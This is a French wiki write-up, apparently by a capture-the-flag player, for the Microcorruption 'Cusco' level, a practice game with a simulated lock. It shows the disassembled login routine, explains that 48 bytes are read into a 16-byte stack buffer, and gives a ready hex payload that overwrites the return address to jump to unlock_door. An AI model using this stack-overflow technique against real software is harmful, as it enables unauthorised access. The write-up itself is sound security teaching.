Outils pour utilisateurs

Outils du site


writeup:microcorruption:cusco

Cusco

D'après la description, ce niveau est le même que Hanoi sans le flag que nous avons réécrit.

4500 <login>
4500:  3150 f0ff      add	#0xfff0, sp
4504:  3f40 7c44      mov	#0x447c "Enter the password to continue.", r15
4508:  b012 a645      call	#0x45a6 <puts>
450c:  3f40 9c44      mov	#0x449c "Remember: passwords are between 8 and 16 characters.", r15
4510:  b012 a645      call	#0x45a6 <puts>
4514:  3e40 3000      mov	#0x30, r14
4518:  0f41           mov	sp, r15
451a:  b012 9645      call	#0x4596 <getsn>
451e:  0f41           mov	sp, r15
4520:  b012 5244      call	#0x4452 <test_password_valid>
4524:  0f93           tst	r15
4526:  0524           jz	#0x4532 <login+0x32>
4528:  b012 4644      call	#0x4446 <unlock_door>
452c:  3f40 d144      mov	#0x44d1 "Access granted.", r15
4530:  023c           jmp	#0x4536 <login+0x36>
4532:  3f40 e144      mov	#0x44e1 "That password is not correct.", r15
4536:  b012 a645      call	#0x45a6 <puts>
453a:  3150 1000      add	#0x10, sp
453e:  3041           ret

La différence est qu'ici notre input est stockée sur la stack dans un buffer de 16 octets et que la fonction getsn accepte 48 caractères.

4500:  3150 f0ff      add	#0xfff0, sp
...
4514:  3e40 3000      mov	#0x30, r14
4518:  0f41           mov	sp, r15
451a:  b012 9645      call	#0x4596 <getsn>

On a donc un stack overflow basique, on va retourner vers la fonction unlock_door. On appel le programme avec comme input : 414141414141414141414141414141414644.

writeup/microcorruption/cusco.txt · Dernière modification: 2014/10/19 15:43 par tlk